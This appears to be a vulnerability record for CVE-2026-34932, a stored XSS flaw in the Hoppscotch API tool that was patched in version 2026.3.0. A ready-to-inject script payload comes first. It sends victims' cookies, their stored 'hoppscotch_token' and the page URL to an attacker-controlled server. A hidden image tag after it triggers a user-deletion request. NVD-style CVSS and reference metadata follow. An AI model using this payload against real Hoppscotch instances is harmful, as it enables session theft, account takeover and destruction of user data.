CVE-2026-34932

<!-- Stored XSS Payload for Hoppscotch --> <!-- Inject into a vulnerable field like Request Name or Description --> <script> // Proof of Concept: Send session data to an external server var attackerUrl = 'https://attacker-controlled-server.com/collect'; fetch(attackerUrl, { method: 'POST', mode: 'no-cors', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ victim_cookies: document.cookie, local_storage: localStorage.getItem('hoppscotch_token'), current_url: window.location.href }) }).then(() => console.log('Data exfiltrated')) .catch(err => console.error(err)); </script> <!-- Alternative: Simple CSRF Trigger --> <img src="https://target-hoppscotch-instance.com/api/user/delete" style="display:none;">

{"cve": {"id": "CVE-2026-34932", "sourceIdentifier": "[email protected]", "published": "2026-04-02T20:16:28.973", "lastModified": "2026-04-15T17:23:38.193", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "hoppscotch is an open source API development ecosystem. Prior to version 2026.3.0, there is a stored XSS vulnerability that can lead to CSRF. This issue has been patched in version 2026.3.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.8}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hoppscotch:hoppscotch:*:*:*:*:*:*:*:*", "versionEndExcluding": "2026.3.0", "matchCriteriaId": "0FF217CC-EE39-4462-91B1-AA13EDECFF36"}]}]}], "references": [{"url": "https://github.com/hoppscotch/hoppscotch/releases/tag/2026.3.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/hoppscotch/hoppscotch/security/advisories/GHSA-wj4r-hr4h-g98v", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}